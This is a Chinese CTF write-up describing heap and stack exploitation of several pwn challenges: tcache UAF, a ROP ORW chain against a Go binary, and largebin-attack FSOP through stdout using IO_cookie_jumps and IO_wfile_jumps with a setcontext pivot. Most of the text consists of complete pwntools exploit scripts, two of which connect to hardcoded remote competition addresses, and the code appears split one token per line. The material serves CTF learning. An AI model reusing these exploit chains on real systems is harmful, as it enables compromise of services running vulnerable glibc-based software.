题目限制了add次数,只能add 7次,而且delet存在UAF占位 考虑UAF修改tcache chunk的key,使得无限free同一堆块填满tcache 溢出到UB,然后UAF leak libc 最后 UAF tcache poison 改free_hook 为one_gadget getshell
发现连main函数入口都没有,简直逆不动(go语言的静态编译导致的elf本身就相当于c的libc,elf,ld等等的合集)
先简单测试一下,发现wsad分别对应了上下左右,输的话就可以直接走通迷宫:
(ps:gdb调试设置好set follow-fork-mode parent和set detach-on-fork on才能不会因为system或exec这类函数卡死)
而且这个二进制文件里面的gadget非常的齐活,直接打ORW就好
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
def
up():
r.sendline(
"w"
)
def
down():
r.sendline(
"s"
)
def
right():
r.sendline(
"d"
)
def
exp():
global
r
global
libc
r
=
process(
'./pwn'
)
for
i
in
range
(
5
):
down()
for
i
in
range
(
3
):
right()
for
i
in
range
(
3
):
up()
for
i
in
range
(
3
):
right()
up()
right()
up()
up()
pop_rdi_ret
=
0x4008f6
pop_rsi_ret
=
0x40416f
pop_rdx_ret
=
0x51d4b6
pop_rax_ret
=
0x400a4f
syscall
=
0x4025ab
leave_ret
=
0x4015cb
bss
=
0xAD1600
+
0x500
pd1
=
flat(
pop_rax_ret ,
0
, pop_rdi_ret ,
0
, pop_rsi_ret , bss , pop_rdx_ret ,
0x210
,
syscall , leave_ret
)
r.sendlineafter(
"flag\x00"
,
0x178
*
"a"
+
p64(bss)
+
pd1)
flag_addr
=
bss
+
0x200
pd
=
flat(
0
, pop_rax_ret ,
2
, pop_rdi_ret , flag_addr , pop_rsi_ret ,
0
, pop_rdx_ret ,
0
,
syscall , pop_rax_ret ,
0
, pop_rdi_ret ,
3
, pop_rsi_ret , flag_addr , pop_rdx_ret ,
0x210
,
syscall ,pop_rax_ret ,
1
, pop_rdi_ret ,
1
, pop_rsi_ret , flag_addr , pop_rdx_ret ,
0x210
,
syscall ,
0xdeadbeef
).ljust(
0x200
,
"a"
)
+
"./flag\x00"
r.sendline(pd)
r.interactive()
想到了pig,但是pig打ORW有点不太好打,但是基本能确定large bin attack了
attack啥呢?我一开始先试试打top_chunk,但是不行,原因是attack最后有一个add大堆块的操作,这个操作会使得top_chunk的地址抬高,覆盖,没办法触发kiwi的链子。于是我现找了一个链子——puts的stdout(真是比赛现找的):
如果largebin attack劫持stdout为chunk P,并且满足P的pre_size为0x8000(这个可以用空间复用实现),最后rdi就会赋值为P的堆地址。再看看接下来的流程:
发现这个流程和flash_all_lock_up长得只有那么像了,当rdi+0x30,也就是堆地址+0xc0的位置为0并且堆地址+0xd8(vtable)的位置符合IO的虚表的地址范围,就会跳vtable+0x38的函数
常用的跳表有三种,pig的IO_str_jumps、emma的IO_cookie_jumps以及apple的IO_wfile_jumps。但是apple当时不会,pig被排除,所以只能试试cookie_jumps,还真成了,在结束前30分钟本地通了。但是。。。这个B玩意要扬fs:0x30,fs就牵扯到ld表,这个玩意本地和远程偏移太不一样了,导致痛失300分
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
from
platform
import
libc_ver
from
pwn
import
*
from
hashlib
import
sha256
import
base64
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
rol
=
lambda
val, r_bits, max_bits: \
(val << r_bits
%
max_bits) & (
2
*
*
max_bits
-
1
) | \
((val & (
2
*
*
max_bits
-
1
)) >> (max_bits
-
(r_bits
%
max_bits)))
ror
=
lambda
val, r_bits, max_bits: \
((val & (
2
*
*
max_bits
-
1
)) >> r_bits
%
max_bits) | \
(val << (max_bits
-
(r_bits
%
max_bits)) & (
2
*
*
max_bits
-
1
))
def
proof_of_work(sh):
sh.recvuntil(
" == "
)
cipher
=
sh.recvline().strip().decode(
"utf8"
)
proof
=
mbruteforce(
lambda
x: sha256((x).encode()).hexdigest()
=
=
cipher, string.ascii_letters
+
string.digits, length
=
4
, method
=
'fixed'
)
sh.sendlineafter(
"input your ????>"
, proof)
def
z():
gdb.attach(r)
def
cho(num):
r.sendlineafter(
">>"
,
str
(num))
def
add(sz,con):
cho(
1
)
r.sendlineafter(
"Size:"
,
str
(sz))
r.sendafter(
"content"
,con)
def
delet(idx):
cho(
2
)
r.sendlineafter(
"idx:"
,
str
(idx))
def
edit(idx,con):
cho(
3
)
r.sendlineafter(
"idx"
,
str
(idx))
r.sendafter(
"Content"
,con)
def
show(idx):
cho(
4
)
r.sendlineafter(
"idx"
,
str
(idx))
def
exp(x):
global
r
global
libc
r
=
remote(
"1.14.97.218"
,
23023
)
libc
=
ELF(
"./libc.so.6"
)
add(
0x418
,
"nameless"
)
add(
0x410
,
"nameless"
)
add(
0x410
,
"ymnhymnh"
)
add(
0x420
,
"x1ngx1ng"
)
add(
0x420
,
"nameless"
)
delet(
3
)
show(
3
)
r.recvuntil(
"\n"
)
libcbase
=
u64(r.recv(
6
).ljust(
8
,
"\x00"
))
-
0x1f2cc0
log.success(
"libcbase:"
+
hex
(libcbase))
add(
0x430
,
"nameless"
)
l_main
=
0x1f30b0
+
libcbase
free_hook
=
libcbase
+
libc.sym[
"__free_hook"
]
stdout
=
libcbase
+
libc.sym[
"stdout"
]
IO_str_jumps
=
libcbase
+
0x1f3b58
-
0x38
fsbase
=
libcbase
-
0x28c0
+
x
godget
=
libcbase
+
0x146020
setcontext
=
libcbase
+
0x50bc0
edit(
3
,
"x1ngx1ng"
+
"nameless"
)
show(
3
)
r.recvuntil(
"nameless"
)
heapbase
=
u64(r.recv(
6
).ljust(
8
,
"\x00"
))
-
0xef0
log.success(
"heapbase:"
+
hex
(heapbase))
key
=
heapbase
+
0x6b0
chunk1
=
heapbase
+
0x6b0
chunk2
=
heapbase
+
0xef0
open_addr
=
libcbase
+
libc.sym[
'open'
]
read_addr
=
libcbase
+
libc.sym[
'read'
]
write_addr
=
libcbase
+
libc.sym[
'write'
]
pop_rdi_ret
=
libcbase
+
0x2daa2
pop_rsi_ret
=
libcbase
+
0x37c0a
pop_rdx_pop_rbx_ret
=
libcbase
+
0x87729
ret
=
libcbase
+
0xecd6c
flag_addr
=
key
+
0x310
chain
=
flat(
pop_rdi_ret , flag_addr , pop_rsi_ret ,
0
, open_addr,
pop_rdi_ret ,
3
, pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret ,
0x100
,
0
, read_addr,
pop_rdi_ret ,
1
, pop_rsi_ret, flag_addr , pop_rdx_pop_rbx_ret,
0x100
,
0
,write_addr
).ljust(
0x100
,
'\x00'
)
+
'./flag\x00'
edit(
3
,p64(l_main)
*
2
+
p64(heapbase
+
0xef0
)
+
p64(fsbase
+
0x30
-
0x20
))
delet(
1
)
add(
0x430
,
"nameless"
)
edit(
3
,p64(chunk1)
+
p64(l_main)
+
p64(chunk1)
*
2
)
edit(
1
,p64(l_main)
+
p64(chunk2)
*
3
)
add(
0x410
,
"nameless"
)
edit(
3
,p64(l_main)
*
2
+
p64(heapbase
+
0xef0
)
+
p64(stdout
-
0x20
))
pd
=
0xb0
*
'a'
+
p64(
0
)
pd
=
pd.ljust(
0xc8
,
'a'
)
+
p64(IO_str_jumps)
pd
=
pd.ljust(
0xd0
,
"a"
)
+
p64(key
+
0x100
)
pd
=
pd.ljust(
0xe0
,
"a"
)
+
p64(rol(key ^ godget,
0x11
,
64
))
pd
=
pd.ljust(
0xf8
,
"a"
)
+
p64(key
+
0x130
)
pd
=
pd.ljust(
0x140
,
"a"
)
+
p64(setcontext
+
61
)
pd
=
pd.ljust(
0x1c0
,
"a"
)
+
p64(key
+
0x210
)
+
p64(ret)
pd
=
pd.ljust(
0x200
,
"a"
)
+
chain
edit(
7
,pd)
delet(
7
)
edit(
0
,
0x410
*
"a"
+
p64(
0x8000
))
cho(
1
)
r.sendlineafter(
"Size:"
,
str
(
0x430
))
flag
=
"flag{"
+
r.recvuntil(
"\x00"
,drop
=
True
)
print
(flag)
r.interactive()
if
__name__
=
=
'__main__'
:
while
(
1
):
i
=
-
0x1000
if
i
=
=
0x1000
:
break
else
:
try
:
exp(i)
except
:
continue
第二种是起一个有pwndbg的docker,把题目环境加载进去然后gdb fsbase获取偏移。这个起环境在github上有一个叫PWNdockerAll的项目,是pig007大佬写的,笔者在使用2204的过程中遇到了一点问题,自己鼓捣将install.sh稍作修改,使得它能够支持目前最新的2204版本(pig007大佬写的时候是2.34的2204,不兼容主要是因为python3.10的模块引用问题,那个时候python3.10好像还没出),现也在github上开源:
kiwi触发->malloc_assert->fxprintf->vfxprintf->locked_vfxprintf->vfprintf_internal->apple
假定相邻堆块chunk1和chunk2,chunk2和top_chunk相邻。设定chunk1为0x430大小(题目大小),然后free进UB。add0x410,切割chunk1然后free chunk2,这时候,chunk1就和top_chunk相邻了,而且是0x420大小。由于我们数组存的是0x430大小,所以在edit的时候成功溢出0x10字节。可以改top_chunk的size打kiwi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
from
platform
import
libc_ver
from
pwn
import
*
from
hashlib
import
sha256
import
base64
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
rol
=
lambda
val, r_bits, max_bits: \
(val << r_bits
%
max_bits) & (
2
*
*
max_bits
-
1
) | \
((val & (
2
*
*
max_bits
-
1
)) >> (max_bits
-
(r_bits
%
max_bits)))
ror
=
lambda
val, r_bits, max_bits: \
((val & (
2
*
*
max_bits
-
1
)) >> r_bits
%
max_bits) | \
(val << (max_bits
-
(r_bits
%
max_bits)) & (
2
*
*
max_bits
-
1
))
def
proof_of_work(sh):
sh.recvuntil(
" == "
)
cipher
=
sh.recvline().strip().decode(
"utf8"
)
proof
=
mbruteforce(
lambda
x: sha256((x).encode()).hexdigest()
=
=
cipher, string.ascii_letters
+
string.digits, length
=
4
, method
=
'fixed'
)
sh.sendlineafter(
"input your ????>"
, proof)
def
z():
gdb.attach(r)
def
cho(num):
r.sendlineafter(
">>"
,
str
(num))
def
add(sz,con):
cho(
1
)
r.sendlineafter(
"Size:"
,
str
(sz))
r.sendafter(
"content"
,con)
def
delet(idx):
cho(
2
)
r.sendlineafter(
"idx:"
,
str
(idx))
def
edit(idx,con):
cho(
3
)
r.sendlineafter(
"idx"
,
str
(idx))
r.sendafter(
"Content"
,con)
def
show(idx):
cho(
4
)
r.sendlineafter(
"idx"
,
str
(idx))
def
exp():
global
r
global
libc
r
=
remote(
"124.222.96.143"
,
10050
)
libc
=
ELF(
"./libc.so.6"
)
add(
0x418
,
"nameless"
)
add(
0x410
,
"nameless"
)
add(
0x410
,
"ymnhymnh"
)
add(
0x420
,
"x1ngx1ng"
)
add(
0x420
,
"nameless"
)
delet(
3
)
show(
3
)
r.recvuntil(
"\n"
)
libcbase
=
u64(r.recv(
6
).ljust(
8
,
"\x00"
))
-
0x219ce0
log.success(
"libcbase:"
+
hex
(libcbase))
add(
0x430
,
"nameless"
)
l_main
=
0x219ce0
+
libcbase
free_hook
=
libcbase
+
libc.sym[
"__free_hook"
]
stdout
=
libcbase
+
libc.sym[
"stdout"
]
IO_wfile_jumps
=
libcbase
+
0x2160c0
-
0x20
fsbase
=
libcbase
-
0x28c0
godget
=
libcbase
+
0x1675b0
setcontext
=
libcbase
+
0x53a30
edit(
3
,
"x1ngx1ng"
+
"nameless"
)
show(
3
)
r.recvuntil(
"nameless"
)
heapbase
=
u64(r.recv(
6
).ljust(
8
,
"\x00"
))
-
0xef0
log.success(
"heapbase:"
+
hex
(heapbase))
key
=
heapbase
+
0x6b0
chunk1
=
heapbase
+
0x6b0
chunk2
=
heapbase
+
0xef0
open_addr
=
libcbase
+
libc.sym[
'open'
]
read_addr
=
libcbase
+
libc.sym[
'read'
]
write_addr
=
libcbase
+
libc.sym[
'write'
]
pop_rdi_ret
=
libcbase
+
0x2a3e5
pop_rsi_ret
=
libcbase
+
0x2be51
pop_rdx_pop_rbx_ret
=
libcbase
+
0x90529
ret
=
libcbase
+
0xf90e1
flag_addr
=
key
+
0x300
chain
=
flat(
pop_rdi_ret , flag_addr , pop_rsi_ret ,
0
, open_addr,
pop_rdi_ret ,
3
, pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret ,
0x100
,
0
, read_addr,
pop_rdi_ret ,
1
, pop_rsi_ret, flag_addr , pop_rdx_pop_rbx_ret,
0x100
,
0
,write_addr
).ljust(
0x100
,
'\x00'
)
+
'./flag\x00'
edit(
3
,p64(l_main)
*
2
+
p64(heapbase
+
0xef0
)
+
p64(stdout
-
0x20
))
pd
=
''
pd
=
pd.ljust(
0x90
,
"\x00"
)
+
p64(key
+
0xa0
)
pd
=
pd.ljust(
0xb0
,
'\x00'
)
+
p64(
0
)
pd
=
pd.ljust(
0xc8
,
'\x00'
)
+
p64(IO_wfile_jumps)
pd
=
pd.ljust(
0x130
,
'\x00'
)
+
p64(key
+
0x200
)
+
p64(ret)
pd
=
pd.ljust(
0x170
,
'\x00'
)
+
p64(key
+
0x180
)
pd
=
pd.ljust(
0x1d8
,
'\x00'
)
+
p64(setcontext
+
61
)
pd
=
pd.ljust(
0x1f0
,
'\x00'
)
+
chain
edit(
1
,pd)
delet(
1
)
edit(
0
,
0x410
*
"a"
+
p64(
0x8000
))
cho(
1
)
r.sendlineafter(
"Size:"
,
str
(
0x430
))
r.interactive()
if
__name__
=
=
'__main__'
:
exp()